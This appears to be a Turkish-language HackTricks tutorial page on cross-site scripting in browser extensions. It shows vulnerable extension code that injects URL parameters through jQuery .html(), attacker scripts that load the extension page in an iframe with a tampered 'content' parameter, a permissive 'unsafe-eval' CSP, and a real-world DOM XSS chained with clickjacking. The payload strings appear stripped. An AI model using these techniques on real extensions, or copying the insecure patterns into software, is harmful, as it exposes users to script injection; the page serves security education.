# BrowExt - XSS Örneği {{#include ../../banners/hacktricks-training.md}} ## Iframe Üzerinden Cross-Site Scripting (XSS) Bu yapılandırmada, bir **içerik betiği** bir Iframe oluşturmak için uygulanır ve Iframe'in kaynağı olarak sorgu parametreleri içeren bir URL kullanılır: ```javascript chrome.storage.local.get("message", (result) => { let constructedURL = chrome.runtime.getURL("message.html") + "?content=" + encodeURIComponent(result.message) + "&redirect=https://example.net/details" frame.src = constructedURL }) ``` Herkese açık bir HTML sayfası, **`message.html`**, URL'deki parametrelere dayalı olarak belge gövdesine dinamik olarak içerik eklemek için tasarlanmıştır: ```javascript $(document).ready(() => { let urlParams = new URLSearchParams(window.location.search) let userContent = urlParams.get("content") $(document.body).html( `${userContent} ` ) $("#detailBtn").on("click", () => { let destinationURL = urlParams.get("redirect") chrome.tabs.create({ url: destinationURL }) }) }) ``` Kötü niyetli bir betik, bir düşmanın sayfasında çalıştırılır ve Iframe'in kaynağının `content` parametresi, bir **XSS yükü** eklemek için değiştirilir. Bu, Iframe'in kaynağını zararlı bir betik içerecek şekilde güncelleyerek gerçekleştirilir: ```javascript setTimeout(() => { let targetFrame = document.querySelector("iframe").src let baseURL = targetFrame.split("?")[0] let xssPayload = "" let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}` document.querySelector("iframe").src = maliciousURL }, 1000) ``` Aşırı izin veren bir İçerik Güvenlik Politikası, örneğin: ```json "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';" ``` JavaScript'in çalıştırılmasına izin verir, bu da sistemi XSS saldırılarına karşı savunmasız hale getirir. XSS'i tetiklemek için alternatif bir yaklaşım, bir Iframe öğesi oluşturmak ve kaynağını `content` parametresi olarak zararlı scripti içerecek şekilde ayarlamaktır: ```javascript let newFrame = document.createElement("iframe") newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" + encodeURIComponent("") document.body.append(newFrame) ``` ## DOM tabanlı XSS + ClickJacking Bu örnek [orijinal yazıdan](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/) alınmıştır. Temel sorun, **`/html/bookmarks.html`** dosyasında bulunan bir DOM tabanlı Cross-site Scripting (XSS) açığından kaynaklanmaktadır. Aşağıda detaylandırılan sorunlu JavaScript, **`bookmarks.js`** dosyasının bir parçasıdır: ```javascript $("#btAdd").on("click", function () { var bookmarkName = $("#txtName").val() if ( $(".custom-button .label").filter(function () { return $(this).text() === bookmarkName }).length ) return false var bookmarkItem = $('
') bookmarkItem.html('' + bookmarkName + "") bookmarkItem.append('') bookmarkItem.attr("data-title", bookmarkName) bookmarkItem.data("timestamp", new Date().getTime()) $("section.bookmark-container .existing-items").append(bookmarkItem) persistData() }) ``` Bu kod parçası, **`txtName`** giriş alanından **değeri** alır ve **HTML oluşturmak için dize birleştirmesi kullanır**, ardından bu HTML, jQuery’nin `.append()` fonksiyonu kullanılarak DOM'a eklenir. Genellikle, Chrome uzantısının İçerik Güvenlik Politikası (CSP) bu tür zafiyetleri önler. Ancak, **‘unsafe-eval’ ile CSP gevşetmesi** ve jQuery’nin DOM manipülasyon yöntemlerinin kullanımı (bu yöntemler, DOM eklenmesi sırasında scriptleri [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) ile geçmek için [`globalEval()`](https://api.jquery.com/jquery.globaleval/) kullanır) nedeniyle, istismar hala mümkündür. Bu zafiyet önemli olsa da, istismarı genellikle kullanıcı etkileşimine bağlıdır: sayfayı ziyaret etmek, bir XSS yükü girmek ve “Ekle” butonunu etkinleştirmek. Bu zafiyeti artırmak için, ikincil bir **clickjacking** zafiyeti istismar edilir. Chrome uzantısının manifesti, kapsamlı bir `web_accessible_resources` politikasını sergilemektedir: ```json "web_accessible_resources": [ "html/bookmarks.html", "dist/*", "assets/*", "font/*", [...] ], ``` Özellikle, **`/html/bookmarks.html`** sayfası çerçevelemeye karşı hassastır, bu nedenle **clickjacking**'e karşı savunmasızdır. Bu zafiyet, sayfayı bir saldırganın sitesinin içinde çerçevelemek için kullanılır ve arayüzü yanıltıcı bir şekilde yeniden tasarlamak için DOM öğeleri ile örtülür. Bu manipülasyon, kurbanların alttaki uzantıyla istemeden etkileşimde bulunmasına yol açar. ## Referanslar - [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/) - [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/) {{#include ../../banners/hacktricks-training.md}}